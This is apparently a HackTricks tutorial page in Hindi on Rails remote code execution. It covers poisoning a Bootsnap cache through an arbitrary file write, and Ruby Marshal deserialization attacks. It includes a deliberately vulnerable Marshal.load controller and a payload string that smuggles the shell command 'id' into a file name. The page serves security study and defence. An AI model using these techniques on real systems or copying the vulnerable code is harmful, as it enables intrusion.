Rails ऐप की फ़ाइल अपलोड कार्यक्षमता एक हमलावर को मनमाने ढंग से फ़ाइलें लिखने की अनुमति देती है। हालांकि ऐप प्रतिबंधों के साथ चलता है (केवल कुछ निर्देशिकाएँ जैसे tmp Docker के non-root उपयोगकर्ता के कारण लिखने योग्य हैं), फिर भी यह Bootsnap कैश निर्देशिका (आमतौर पर tmp/cache/bootsnap के तहत) में लिखने की अनुमति देता है।
- Understand Bootsnap’s Cache Mechanism
Bootsnap Rails बूट समय को संकलित Ruby कोड, YAML, और JSON फ़ाइलों को कैश करके तेज करता है। यह कैश फ़ाइलें संग्रहीत करता है जिनमें एक कैश कुंजी हेडर होता है (जिसमें Ruby संस्करण, फ़ाइल आकार, mtime, संकलन विकल्प आदि जैसे फ़ील्ड होते हैं) इसके बाद संकलित कोड होता है। इस हेडर का उपयोग ऐप स्टार्टअप के दौरान कैश को मान्य करने के लिए किया जाता है।
- Gather File Metadata
हमलावर पहले एक लक्षित फ़ाइल का चयन करता है जो संभवतः Rails स्टार्टअप के दौरान लोड होती है (उदाहरण के लिए, Ruby के मानक पुस्तकालय से set.rb)। कंटेनर के अंदर Ruby कोड निष्पादित करके, वे महत्वपूर्ण मेटाडेटा (जैसे RUBY_VERSION, RUBY_REVISION, आकार, mtime, और compile_option) निकालते हैं। यह डेटा एक मान्य कैश कुंजी बनाने के लिए आवश्यक है।
- Compute the Cache File Path
Bootsnap के FNV-1a 64-बिट हैश तंत्र की नकल करके, सही कैश फ़ाइल पथ निर्धारित किया जाता है। यह कदम सुनिश्चित करता है कि दुर्भावनापूर्ण कैश फ़ाइल ठीक उसी स्थान पर रखी गई है जहाँ Bootsnap इसे अपेक्षित करता है (जैसे, tmp/cache/bootsnap/compile-cache-iseq/ के तहत)।
- Craft the Malicious Cache File
हमलावर एक पेलोड तैयार करता है जो:
- मनमाने आदेशों को निष्पादित करता है (उदाहरण के लिए, प्रक्रिया जानकारी दिखाने के लिए id चलाना)।
- निष्पादन के बाद दुर्भावनापूर्ण कैश को हटा देता है ताकि पुनरावृत्त शोषण को रोका जा सके।
- एप्लिकेशन को क्रैश करने से बचाने के लिए मूल फ़ाइल (जैसे, set.rb) को लोड करता है।
यह पेलोड बाइनरी Ruby कोड में संकलित किया जाता है और एक सावधानीपूर्वक निर्मित कैश कुंजी हेडर (पूर्व में एकत्रित मेटाडेटा और Bootsnap के लिए सही संस्करण संख्या का उपयोग करके) के साथ जोड़ा जाता है।
- Overwrite and Trigger Execution मनमाने फ़ाइल लेखन भेद्यता का उपयोग करके, हमलावर तैयार की गई कैश फ़ाइल को गणना की गई स्थान पर लिखता है। अगला, वे एक सर्वर पुनरारंभ को ट्रिगर करते हैं (tmp/restart.txt में लिखकर, जिसे Puma द्वारा मॉनिटर किया जाता है)। पुनरारंभ के दौरान, जब Rails लक्षित फ़ाइल की आवश्यकता होती है, तो दुर्भावनापूर्ण कैश फ़ाइल लोड होती है, जिससे दूरस्थ कोड निष्पादन (RCE) होता है।
Ruby Marshal exploitation in practice (updated)
किसी भी पथ को जहां अविश्वसनीय बाइट्स Marshal.load
/marshal_load
तक पहुँचते हैं, एक RCE सिंक के रूप में मानें। Marshal मनमाने ऑब्जेक्ट ग्राफ को पुनर्निर्माण करता है और सामग्रीकरण के दौरान पुस्तकालय/जेम कॉलबैक को ट्रिगर करता है।
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- वास्तविक श्रृंखलाओं में देखी जाने वाली सामान्य गैजेट श्रेणियाँ:
Gem::SpecFetcher
,Gem::Version
,Gem::RequestSet::Lockfile
,Gem::Resolver::GitSpecification
,Gem::Source::Git
. - पेलोड में एम्बेडेड सामान्य साइड-इफेक्ट मार्कर (जो अनमार्शल के दौरान निष्पादित होते हैं):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
जहां यह वास्तविक ऐप्स में प्रकट होता है:
- Rails कैश स्टोर्स और सत्र स्टोर्स ऐतिहासिक रूप से Marshal का उपयोग करते हैं
- बैकग्राउंड जॉब बैकएंड और फ़ाइल-समर्थित ऑब्जेक्ट स्टोर्स
- बाइनरी ऑब्जेक्ट ब्लॉब्स की किसी भी कस्टम स्थायीता या परिवहन
औद्योगिक गैजेट खोज:
- कंस्ट्रक्टर्स,
hash
,_load
,init_with
, या अनमार्शल के दौरान कॉल किए गए साइड-इफेक्ट वाले तरीकों के लिए Grep करें - स्रोतों → सिंक्स को ट्रेस करने और गैजेट्स को सतह पर लाने के लिए CodeQL के Ruby असुरक्षित डेसिरियलाइजेशन क्वेरीज़ का उपयोग करें
- सार्वजनिक मल्टी-फॉर्मेट PoCs (JSON/XML/YAML/Marshal) के साथ मान्य करें
संदर्भ
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।